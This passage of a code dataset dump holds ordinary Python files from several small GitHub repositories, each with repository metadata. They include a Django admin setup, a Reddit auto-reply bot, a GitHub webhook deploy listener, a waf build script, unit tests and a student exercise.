\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":631,"cells":{"__id__":{"kind":"number","value":4166118284942,"string":"4,166,118,284,942"},"blob_id":{"kind":"string","value":"af1e6164f79c656c0b363acacace34fb6523dc75"},"directory_id":{"kind":"string","value":"1823aeec213f41b0b1a17294be9b125fbd83b81d"},"path":{"kind":"string","value":"/woodstore/adminStore/admin.py"},"content_id":{"kind":"string","value":"5698b8f8f2888f26c0739bc9d8ee83dcaa312359"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"megajandro/woodstore"},"repo_url":{"kind":"string","value":"https://github.com/megajandro/woodstore"},"snapshot_id":{"kind":"string","value":"8e5fbd534a42834b791b25aaac75b60d436a5711"},"revision_id":{"kind":"string","value":"4262f88af8b44f9f63bffac56acbca3e9ae1bffb"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2018-01-10T06:53:29.884660","string":"2018-01-10T06:53:29.884660"},"revision_date":{"kind":"timestamp","value":"2013-03-04T23:43:10","string":"2013-03-04T23:43:10"},"committer_date":{"kind":"timestamp","value":"2013-03-04T23:43:10","string":"2013-03-04T23:43:10"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"from django.contrib.admin.options import ModelAdmin\n\nclass CatalogAdmin(ModelAdmin):\n list_display = ('name', 'displayToolTip')\n search_fields = ('name',)\n ordering = ('name',)\n \nclass ClientAdmin(ModelAdmin):\n list_display = ( 'user','documentNumber', 'address','celularNumber')\n search_fields = ('documentNumber',)\n ordering = ('-documentNumber',)\n list_filter = ('user', 'documentNumber')\n \nclass PhotoAdmin(ModelAdmin):\n list_display = ('title', 'description', 'publicationDate','endDate','image')\n search_fields = ('title',)\n ordering = ('-publicationDate',)\n \nclass CategoryAdmin(ModelAdmin):\n list_display = ('name', 'catalog')\n search_fields = ('name',)\n ordering = ('name',)\n \nclass ItemAdmin(ModelAdmin):\n list_display = ('code', 'category')\n search_fields = ('code',)\n ordering = ('code',)\n\nclass OrderAdmin(ModelAdmin):\n list_display = ('code','registrationDate','cart')\n list_filter = ('code', 'cart')\n search_fields = ('code',)\n ordering = ('code',)\n "},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":632,"cells":{"__id__":{"kind":"number","value":13692355780349,"string":"13,692,355,780,349"},"blob_id":{"kind":"string","value":"fe6e99ac6f80fcc706f3e605c5b9719343559798"},"directory_id":{"kind":"string","value":"da1047ee87d03b3aae529a99b7c90cd6cfa03542"},"path":{"kind":"string","value":"/fileLayer.py"},"content_id":{"kind":"string","value":"4c5ef29c6afee6bb3b5f2549aece5742df637adb"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"kitsully/PFS"},"repo_url":{"kind":"string","value":"https://github.com/kitsully/PFS"},"snapshot_id":{"kind":"string","value":"0897652b4ad61c5bce0d12947a351e1c0c1fd181"},"revision_id":{"kind":"string","value":"2eb223fdbb402ba7bda188e6ab31e0fd45e3d415"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-15T22:29:28.175329","string":"2021-01-15T22:29:28.175329"},"revision_date":{"kind":"timestamp","value":"2013-02-21T16:59:18","string":"2013-02-21T16:59:18"},"committer_date":{"kind":"timestamp","value":"2013-02-21T16:59:18","string":"2013-02-21T16:59:18"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"# Kristopher Sullivan \n# Operating Systems\n# February 13, 2013 \n\n# File Layer\n\nimport blockLayer\n\n_num_blocks_in_file = 100 # the max number of blocks in a file\n\n\nclass FileType(object):\n regular_file = 1\n directory = 2\n\n\nclass INode(object):\n def __init__(self, inode_type=FileType.regular_file):\n self.blocks = _num_blocks_in_file * [-1]\n self.size = 0\n self.inode_type = inode_type\n \n # checks for valid index of inode \n def valid_index(self, index):\n if (index >= 0 and index <= _num_blocks_in_file - 1 and self.blocks[index] != -1):\n return True\n else:\n raise Exception(\"%r at %r not a valid index\" % (self.blocks[index], index)) \n\n # adds a block to an inode\n def add_block(self): \n index = self.size\n self.blocks[index] = blockLayer.get_free_block()\n self.size += 1\n return self.blocks[index]\n\n def index_to_block_number(self, index):\n if self.valid_index(index):\n return self.blocks[index]\n else:\n raise Exception(\"Index number %s out of range.\" % index)\n\n def inode_to_block(self, byte_offset):\n o = byte_offset / blockLayer.get_block_size()\n b = self.index_to_block_number(o)\n return blockLayer.block_number_to_block(b)\n\n\n# if __name__ == '__main__':\n # print \"File inode:\"\n # inode = INode()\n # b = blockLayer.Block()\n # inode.add_block(1, 32)\n # print inode.index_to_block_number(1)\n # print inode.inode_to_block(514)\n # print inode.blocks\n # print inode.size\n # print inode.inode_type\n\n # print \"Directory inode:\"\n # inode = INode(inode_type=FileType.directory)\n # print inode.blocks\n # print inode.size\n # print inode.inode_type\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":633,"cells":{"__id__":{"kind":"number","value":12171937360802,"string":"12,171,937,360,802"},"blob_id":{"kind":"string","value":"16cb1fe183fde1f0fd52991193078c82d20bb041"},"directory_id":{"kind":"string","value":"1f6af0d7f603b588e6f8136736f7e842f43d76ba"},"path":{"kind":"string","value":"/comment_tracker.py"},"content_id":{"kind":"string","value":"ac8b5ef49889ff38bad13aa1fbeb93811440fb3d"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"LateNitePie/reddit_comment_tracker"},"repo_url":{"kind":"string","value":"https://github.com/LateNitePie/reddit_comment_tracker"},"snapshot_id":{"kind":"string","value":"c164d4d9b3fab1c12bf52567c172414f82e72db3"},"revision_id":{"kind":"string","value":"b00ae2f6b21e687c88663ffb2fdb1fd04ff08bf3"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-02-07T04:26:56.289742","string":"2020-02-07T04:26:56.289742"},"revision_date":{"kind":"timestamp","value":"2010-08-29T03:56:06","string":"2010-08-29T03:56:06"},"committer_date":{"kind":"timestamp","value":"2010-08-29T03:56:06","string":"2010-08-29T03:56:06"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"import reddit\nimport time\n\n# Just in case there are so many comments in the span between checks, we\n# want to set an upper bound so as not to spam Reddit's servers\nMAX_COMMENTS_TO_FETCH = 300\n\ndef check_for_phrase(phrase, comment):\n return phrase in comment.body\n\ndef reply_to_comment(text, comment):\n return comment.reply(text)\n\ndef track_comments(condition_func, action_func, login=True):\n r = reddit.Reddit()\n # not necessary if action function doesn't require login,\n # ie to reply\n if login:\n r.login()\n\n place_holder = None\n\n # Keep fetching new comments and checking to see if they meet the\n # condition.\n while True:\n comments = None\n # if we don't have a placeholder, just get 10 new comments,\n # but if we do, then get all the latest comments since then\n if place_holder is None:\n comments = r.get_comments(limit=10)\n else:\n comments = r.get_comments(place_holder=place_holder, \n limit=MAX_COMMENTS_TO_FETCH)\n\n print \"got \" + str(len(comments)) + \" comments\"\n\n # If we got some comments, check 'em\n if len(comments) > 0:\n # Store the newest comment as the placeholder for when\n # we grab the next comments.\n place_holder = comments[0].name\n\n # Check each comment for the condition, and take an action\n # if necessary.\n for comment in comments:\n if condition_func(comment):\n action_func(comment)\n print \"found one\"\n\n print \"sleeping\"\n\n # pages only really refresh every 30 secs accoridng to the api\n # so pointless to check faster.\n time.sleep(30)\n\ntrigger_phrase = \"trigger here\"\nresponse = \"response here\"\n\ntrack_comments(lambda x, p=trigger_phrase: check_for_phrase(p, x),\n lambda x, t=response: reply_to_comment(t, x))\n\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2010,"string":"2,010"}}},{"rowIdx":634,"cells":{"__id__":{"kind":"number","value":506806141284,"string":"506,806,141,284"},"blob_id":{"kind":"string","value":"357617f9454fb5ef12ffeb94b114b3cb6f611cfb"},"directory_id":{"kind":"string","value":"07b27ef3f6471f75b988d2c540dd19fe5e86efd6"},"path":{"kind":"string","value":"/utils/github_listen.py"},"content_id":{"kind":"string","value":"2629b9969b5c39e69e61b1303834d707349a29ba"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"avudem/ultimate-sport"},"repo_url":{"kind":"string","value":"https://github.com/avudem/ultimate-sport"},"snapshot_id":{"kind":"string","value":"3c8110a54fd09b41c1bb401c457553e5a1769fb6"},"revision_id":{"kind":"string","value":"61df9581c2cad4f407d816df19a96f777e671c36"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-18T07:37:42.451896","string":"2021-01-18T07:37:42.451896"},"revision_date":{"kind":"timestamp","value":"2013-04-30T14:27:47","string":"2013-04-30T14:27:47"},"committer_date":{"kind":"timestamp","value":"2013-04-30T14:27:47","string":"2013-04-30T14:27:47"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"from os.path import abspath, dirname\nimport os\nimport shlex\nimport subprocess\n\nfrom flask import Flask, request\n\napp = Flask(__name__)\n\ncommands = ['git stash', 'git checkout master', 'git pull origin master',\n 'nikola build', 'nikola deploy']\n\nGITHUB_IPS = ['207.97.227.253', '50.57.128.197', '108.171.174.178', '50.57.231.61',\n '204.232.175.65-204.232.175.94', '192.30.252.1-192.30.255.254']\n\ndef ip_in_range(ip_range, ip):\n start, end = ip_range.split('-')\n process = lambda x: [int(s) for s in x.split('.')]\n start, end, ip = process(start), process(end), process(ip)\n for i in range(4):\n if not start[i] <= ip[i] <= end[i]:\n return False\n return True\n\ndef is_github_ip(our_ip):\n for ip in GITHUB_IPS:\n if '-' in ip and ip_in_range(ip, our_ip):\n return True\n elif '-' not in ip and ip == our_ip:\n return True\n return False\n\ndef publish_site():\n print 'Publishing site'\n directory = dirname(dirname(abspath(__file__)))\n old_dir = os.getcwd()\n os.chdir(directory)\n for command in commands:\n subprocess.call(shlex.split(command))\n os.chdir(old_dir)\n return 'Success'\n\n@app.route('/', methods=['POST'])\ndef listen():\n if is_github_ip(request.remote_addr):\n return publish_site()\n else:\n print 'Received request from %s. Ignored.' % request.remote_addr\n\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=8008)\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":635,"cells":{"__id__":{"kind":"number","value":9105330673701,"string":"9,105,330,673,701"},"blob_id":{"kind":"string","value":"bcfefcdbc229b90fbfbbff60b656d6b89bf32e11"},"directory_id":{"kind":"string","value":"2c67849ba33032076202e7efddb3bdd0e15bb711"},"path":{"kind":"string","value":"/run.py"},"content_id":{"kind":"string","value":"31f79dc14c8a4383da1c48c34a486de94a15fb1b"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"sburden/exp"},"repo_url":{"kind":"string","value":"https://github.com/sburden/exp"},"snapshot_id":{"kind":"string","value":"577422af75ccd333ca19d911c8fe0a127517e2db"},"revision_id":{"kind":"string","value":"0dcf4282428418baf49ee48cb8504dcbb2c641cd"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-12-30T17:44:51.884943","string":"2020-12-30T17:44:51.884943"},"revision_date":{"kind":"timestamp","value":"2012-06-26T15:38:02","string":"2012-06-26T15:38:02"},"committer_date":{"kind":"timestamp","value":"2012-06-26T15:38:02","string":"2012-06-26T15:38:02"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#!/usr/bin/python\n\nimport sys, time\nimport dynaroach as dr\n\ntry:\n infile = sys.argv[1]\n \n if len(sys.argv) > 2:\n dir = sys.argv[2]\n save = True\n else:\n save = False\n \n r = dr.DynaRoach()\n \n if save:\n r.run_gyro_calib()\n print(\"Running gyro calibration...\")\n raw_input()\n r.get_gyro_calib_param()\n time.sleep(0.5)\n \n \n t = dr.Trial()\n t.load_from_file(infile)\n r.configure_trial(t)\n \n if save:\n ds = dr.datestring()\n t.save_to_file('./' + dir + '/' + ds + '_cfg',\n gyro_offsets=r.gyro_offsets, rid=eval(open('rid.py').read()))\n \n \n print(\"Press any key to begin clearing memory.\")\n raw_input()\n \n r.erase_mem_sector(0x100)\n time.sleep(1)\n r.erase_mem_sector(0x200)\n time.sleep(1)\n r.erase_mem_sector(0x300)\n \n print(\"Press any key to start the trial running.\")\n raw_input()\n \n r.run_trial()\n print(\"Press any key to request the mcu data from the robot.\")\n raw_input()\n \n if save:\n r.transmit_saved_data()\n print(\"Press any key to save transmitted data to a file.\")\n input = raw_input()\n if input == 'q':\n r.__del__()\n \n r.save_trial_data('./' + dir + '/' + ds + '_mcu.csv')\nexcept Exception as e:\n print('Caught the following exception: ' + e)\nfinally:\n r.__del__()\n print('Fin')\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2012,"string":"2,012"}}},{"rowIdx":636,"cells":{"__id__":{"kind":"number","value":2061584317669,"string":"2,061,584,317,669"},"blob_id":{"kind":"string","value":"624277ddfee22c1ec0317aebab7fbdd41bc6839e"},"directory_id":{"kind":"string","value":"e707164df1aa8edb5d276179538bd1eb1805f759"},"path":{"kind":"string","value":"/CODE/fedora_application/env/bin/fedmsg-hub"},"content_id":{"kind":"string","value":"960bbe91f175e80d8038f45b814e0b17b68b7a60"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"beckastar/cleaner_markov"},"repo_url":{"kind":"string","value":"https://github.com/beckastar/cleaner_markov"},"snapshot_id":{"kind":"string","value":"af5816c14c94a8cb7924728179470e7db9ed2bc0"},"revision_id":{"kind":"string","value":"a6de3fd87db77c0d80789cbce0ff409c222b4e67"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-02T22:52:08.989862","string":"2021-01-02T22:52:08.989862"},"revision_date":{"kind":"timestamp","value":"2013-11-10T04:51:04","string":"2013-11-10T04:51:04"},"committer_date":{"kind":"timestamp","value":"2013-11-10T04:51:04","string":"2013-11-10T04:51:04"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#!/Users/becka/Documents/CODE/fedora_application/env/bin/python\n# EASY-INSTALL-ENTRY-SCRIPT: 'fedmsg==0.7.1','console_scripts','fedmsg-hub'\n__requires__ = 'fedmsg==0.7.1'\nimport sys\nfrom pkg_resources import load_entry_point\n\nsys.exit(\n load_entry_point('fedmsg==0.7.1', 'console_scripts', 'fedmsg-hub')()\n)\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2013,"string":"2,013"}}},{"rowIdx":637,"cells":{"__id__":{"kind":"number","value":9070970965138,"string":"9,070,970,965,138"},"blob_id":{"kind":"string","value":"5a15dd0e06159e8149eba60c70ed9035fb3758f5"},"directory_id":{"kind":"string","value":"146d79801107f127ec957b9b0e6b7b0a6e21e438"},"path":{"kind":"string","value":"/wscript"},"content_id":{"kind":"string","value":"7c82682e2e42d6dfaf207dcec2a767d0a5b344c3"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"Applifier/node-geoip"},"repo_url":{"kind":"string","value":"https://github.com/Applifier/node-geoip"},"snapshot_id":{"kind":"string","value":"224eef0d83cfe63f911628589d50cfafac114c61"},"revision_id":{"kind":"string","value":"c7fbf1f8edf585c3ae20300f72e2056dd79d6a8d"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-11-29T15:59:53.745907","string":"2020-11-29T15:59:53.745907"},"revision_date":{"kind":"timestamp","value":"2011-01-31T07:38:19","string":"2011-01-31T07:38:19"},"committer_date":{"kind":"timestamp","value":"2011-01-31T07:38:19","string":"2011-01-31T07:38:19"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"import os\n\nsrcdir = os.path.abspath('.')\nblddir = 'build'\n\ndef set_options(opt):\n opt.tool_options(\"compiler_cxx\")\n\ndef configure(conf):\n conf.env.append_unique('LINKFLAGS',[\"-L/opt/local/lib/\"]);\n conf.env.append_unique('CXXFLAGS',[\"-I/opt/local/include/\"]);\n conf.check_tool(\"compiler_cxx\")\n conf.check_tool(\"node_addon\")\n conf.check_cxx(lib='GeoIP', mandatory=True, uselib_store='GeoIP')\n\ndef build(bld):\n obj = bld.new_task_gen(\"cxx\", \"shlib\", \"node_addon\")\n obj.uselib = 'GeoIP'\n obj.target = \"geoip\"\n obj.source = \"geoip.cc\"\n\n filename = '%s.node' % obj.target\n from_path = os.path.join(srcdir, blddir, 'default', filename)\n to_path = os.path.join(srcdir, filename)\n\n if os.path.exists(from_path):\n os.rename(from_path, to_path)\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2011,"string":"2,011"}}},{"rowIdx":638,"cells":{"__id__":{"kind":"number","value":19602230765543,"string":"19,602,230,765,543"},"blob_id":{"kind":"string","value":"7e356b8bd849bddc0f29765b354cc0e540c80831"},"directory_id":{"kind":"string","value":"98c6ea9c884152e8340605a706efefbea6170be5"},"path":{"kind":"string","value":"/examples/data/Assignment_3/bgrtej001/question1.py"},"content_id":{"kind":"string","value":"ebff5259926893df13b0b6fa0100d20dfb5c6e7e"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"MrHamdulay/csc3-capstone"},"repo_url":{"kind":"string","value":"https://github.com/MrHamdulay/csc3-capstone"},"snapshot_id":{"kind":"string","value":"479d659e1dcd28040e83ebd9e3374d0ccc0c6817"},"revision_id":{"kind":"string","value":"6f0fa0fa1555ceb1b0fb33f25e9694e68b6a53d2"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-03-12T21:55:57.781339","string":"2021-03-12T21:55:57.781339"},"revision_date":{"kind":"timestamp","value":"2014-09-22T02:22:22","string":"2014-09-22T02:22:22"},"committer_date":{"kind":"timestamp","value":"2014-09-22T02:22:22","string":"2014-09-22T02:22:22"},"github_id":{"kind":"number","value":22372174,"string":"22,372,174"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"#Question 1, Assignment 3\r\n#Tejasvin Bagirathi\r\n\r\nheight = eval(input(\"Enter the height of the rectangle:\\n\"))\r\nlength = eval(input(\"Enter the width of the rectangle:\\n\"))\r\n\r\nfor i in range (0, height):\r\n print('*'*length)\r\n "},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2014,"string":"2,014"}}},{"rowIdx":639,"cells":{"__id__":{"kind":"number","value":17394617582359,"string":"17,394,617,582,359"},"blob_id":{"kind":"string","value":"6767eccd9052969c71d05359f41260900b2f6d91"},"directory_id":{"kind":"string","value":"ebae9fe91d3fad359571e84a9413c58771729f9a"},"path":{"kind":"string","value":"/t/test_tag.py"},"content_id":{"kind":"string","value":"aa313702fa3a5204939b6de51fa128557b046683"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"gvenkat/bottled"},"repo_url":{"kind":"string","value":"https://github.com/gvenkat/bottled"},"snapshot_id":{"kind":"string","value":"bb74e5223422a6053db2075d984b9b2253f16ad6"},"revision_id":{"kind":"string","value":"2ec38743f3102b1b96233eca8f82acc46b3b020d"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2021-01-21T13:36:46.518965","string":"2021-01-21T13:36:46.518965"},"revision_date":{"kind":"timestamp","value":"2012-04-09T08:46:05","string":"2012-04-09T08:46:05"},"committer_date":{"kind":"timestamp","value":"2012-04-09T08:46:05","string":"2012-04-09T08:46:05"},"github_id":{"kind":"null"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"import sys\nimport unittest\nfrom os.path import dirname\n\nsys.path.append( dirname( __file__ ) + '/../lib' )\n\nfrom util import apptest\nfrom model.tag import Tag\n\nclass TagTestCase( apptest.BottledTestCase ):\n\n def testBasic( self ):\n a = Tag( tag=\"ios\" )\n\n self.isNotNone( a )\n self.assertEqual( \"ios\", a.tag )\n self.assertEqual( Tag.count(), 0 )\n\n\n def testCreate( self ):\n Tag( tag=\"ios\" ).put()\n Tag( tag=\"perl\" ).put()\n Tag( tag=\"javascript\" ).put()\n\n self.assertEqual( Tag.count(), 3 )\n\n Tag( tag=\"ruby\" ).put()\n\n self.assertNotEqual( Tag.count(), 3 )\n self.assertEqual( Tag.count(), 4 )\n\n\n def testFetch( self ):\n Tag( tag=\"ruby\" ).put()\n Tag( tag=\"javascript\" ).put()\n Tag( tag=\"perl\" ).put()\n self.assertEqual( Tag.count(), 3 )\n self.assertEqual( len( Tag.all_tags() ), 3 )\n\n"},"src_encoding":{"kind":"string","value":"UTF-8"},"language":{"kind":"string","value":"Python"},"is_vendor":{"kind":"bool","value":false,"string":"false"},"is_generated":{"kind":"bool","value":false,"string":"false"},"year":{"kind":"number","value":2012,"string":"2,012"}}},{"rowIdx":640,"cells":{"__id__":{"kind":"number","value":5772436065036,"string":"5,772,436,065,036"},"blob_id":{"kind":"string","value":"736af2ae7199ec4b157b9f498d3c64644c7d9512"},"directory_id":{"kind":"string","value":"d4c7ba8204faef101353a9323dcf8a25ff4ba115"},"path":{"kind":"string","value":"/randnodes.py"},"content_id":{"kind":"string","value":"957fa6daf9e868674c795a0ae1bc36376e80e2fd"},"detected_licenses":{"kind":"list like","value":[],"string":"[]"},"license_type":{"kind":"string","value":"no_license"},"repo_name":{"kind":"string","value":"diivanand/mlst"},"repo_url":{"kind":"string","value":"https://github.com/diivanand/mlst"},"snapshot_id":{"kind":"string","value":"648d3dae00806b6e037df3aacb2c65a12f6304c9"},"revision_id":{"kind":"string","value":"f420bea0e2707c09ca79d94fcc695463b35d794d"},"branch_name":{"kind":"string","value":"refs/heads/master"},"visit_date":{"kind":"timestamp","value":"2020-04-16T02:56:30.456448","string":"2020-04-16T02:56:30.456448"},"revision_date":{"kind":"timestamp","value":"2013-05-07T05:28:43","string":"2013-05-07T05:28:43"},"committer_date":{"kind":"timestamp","value":"2013-05-07T05:28:43","string":"2013-05-07T05:28:43"},"github_id":{"kind":"number","value":11171131,"string":"11,171,131"},"star_events_count":{"kind":"number","value":0,"string":"0"},"fork_events_count":{"kind":"number","value":0,"string":"0"},"gha_license_id":{"kind":"null"},"gha_fork":{"kind":"null"},"gha_event_created_at":{"kind":"null"},"gha_created_at":{"kind":"null"},"gha_updated_at":{"kind":"null"},"gha_pushed_at":{"kind":"null"},"gha_size":{"kind":"null"},"gha_stargazers_count":{"kind":"null"},"gha_forks_count":{"kind":"null"},"gha_open_issues_count":{"kind":"null"},"gha_language":{"kind":"null"},"gha_archived":{"kind":"null"},"gha_disabled":{"kind":"null"},"content":{"kind":"string","value":"import networkx as nx\nfrom random import random\n\ndef randomMap(G):\n \"\"\"\n takes the nodes in graph G and scatter the labels over 0 to 1000\n \"\"\"\n H = nx.Graph()\n H.add_nodes_from(G.nodes())\n H.add_edges_from(G.edges())\n for n in H.nodes():\n new = n + int(random()*1000)\n while(new in H.nodes()):\n new = n + int(random()*1000)\n H = nx.relabel_nodes(H,{n:new})\n return H\n 